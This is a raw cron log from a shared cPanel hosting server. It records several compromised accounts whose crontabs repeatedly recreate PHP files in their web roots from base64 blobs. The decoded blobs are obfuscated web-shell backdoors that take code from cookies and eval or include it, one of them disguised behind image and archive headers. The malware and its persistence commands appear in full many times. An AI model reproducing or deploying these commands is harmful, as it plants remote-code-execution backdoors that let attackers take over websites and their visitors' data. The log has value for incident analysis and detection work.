X2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:57:02 medusa CROND[29612]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:57:02 medusa CROND[29613]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:57:02 medusa CROND[29615]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:57:02 medusa CROND[29623]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:58:01 medusa CROND[22541]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:58:01 medusa CROND[22569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:58:01 medusa CROND[22579]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:58:01 medusa CROND[22580]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:58:01 medusa CROND[22590]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:58:01 medusa CROND[22595]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:58:01 medusa CROND[22597]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:58:01 medusa CROND[22598]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:58:01 medusa CROND[22599]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:58:01 medusa CROND[22602]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:58:01 medusa CROND[22582]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 07:58:01 medusa CROND[22610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:58:01 medusa CROND[22614]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:58:01 medusa CROND[22616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:59:01 medusa CROND[15423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:59:01 medusa CROND[15424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:59:01 medusa CROND[15426]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:59:01 medusa CROND[15427]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:59:01 medusa CROND[15428]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:59:01 medusa CROND[15430]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:59:01 medusa CROND[15432]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:59:01 medusa CROND[15434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:59:01 medusa CROND[15436]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:59:01 medusa CROND[15438]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:59:01 medusa CROND[15429]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:59:01 medusa CROND[15439]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:00:02 medusa CROND[8676]: (root) CMD (/usr/lib64/sa/sa1 1 1)
